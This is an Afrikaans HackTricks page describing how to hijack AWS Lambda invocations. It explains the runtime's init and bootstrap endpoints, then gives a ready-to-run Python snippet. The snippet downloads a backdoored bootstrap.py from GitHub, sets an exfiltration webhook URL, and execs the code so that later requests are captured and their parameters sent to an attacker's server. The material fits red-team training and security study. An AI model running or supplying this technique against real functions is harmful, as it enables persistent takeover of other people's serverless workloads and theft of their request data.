AWS - Steel Lambda Versoeke

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Lambda Stroom

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

  1. Slicer is ’n proses buite die houer wat stuur aanroepings na die init proses.
  2. Die init proses luister op poort 9001 wat ’n paar interessante eindpunte blootstel:
  • /2018-06-01/runtime/invocation/next – kry die volgende aanroepingsgebeurtenis
  • /2018-06-01/runtime/invocation/{invoke-id}/response – keer die handler respons vir die aanroep terug
  • /2018-06-01/runtime/invocation/{invoke-id}/error – keer ’n uitvoeringsfout terug
  1. bootstrap.py het ’n lus wat aanroepings van die init proses kry en roep die gebruikerskode aan om dit te hanteer (/next).
  2. Laastens, bootstrap.py stuur die respons na init

Let daarop dat bootstrap die gebruikerskode as ’n module laai, so enige kode-uitvoering wat deur die gebruikerskode uitgevoer word, gebeur eintlik in hierdie proses.

Steel Lambda Versoeke

Die doel van hierdie aanval is om die gebruikerskode ’n kwaadwillige bootstrap.py proses binne die bootstrap.py proses te laat uitvoer wat die kwesbare versoek hanteer. Op hierdie manier sal die kwaadwillige bootstrap proses begin praat met die init proses om die versoeke te hanteer terwyl die legitieme bootstrap gevang is wat die kwaadwillige een uitvoer, sodat dit nie versoeke aan die init proses sal vra nie.

Dit is ’n eenvoudige taak om te bereik aangesien die kode van die gebruiker deur die legitieme bootstrap.py proses uitgevoer word. So die aanvaller kan:

  • Stuur ’n vals resultaat van die huidige aanroep na die init proses, sodat init dink die bootstrap proses wag vir meer aanroepings.
  • ’n Versoek moet gestuur word na /${invoke-id}/response
  • Die invoke-id kan verkry word uit die stapel van die legitieme bootstrap.py proses deur die inspect python module (soos hier voorgestel) of net weer aan te vra by /2018-06-01/runtime/invocation/next (soos hier voorgestel).
  • Voer ’n kwaadwillige boostrap.py uit wat die volgende aanroepings sal hanteer
  • Vir stealthiness doeleindes is dit moontlik om die lambda aanroepingsparameters na ’n aanvaller beheerde C2 te stuur en dan die versoeke soos gewoonlik te hanteer.
  • Vir hierdie aanval is dit genoeg om die oorspronklike kode van bootstrap.py van die stelsel of github te kry, die kwaadwillige kode by te voeg en dit van die huidige lambda aanroep af uit te voer.

Aanval Stappe

  1. Vind ’n RCE kwesbaarheid.
  2. Genereer ’n kwaadwillige bootstrap (bv. https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
  3. Voer die kwaadwillige bootstrap uit.

Jy kan hierdie aksies maklik uitvoer deur:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Vir meer inligting, kyk na https://github.com/carlospolop/lambda_bootstrap_switcher

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks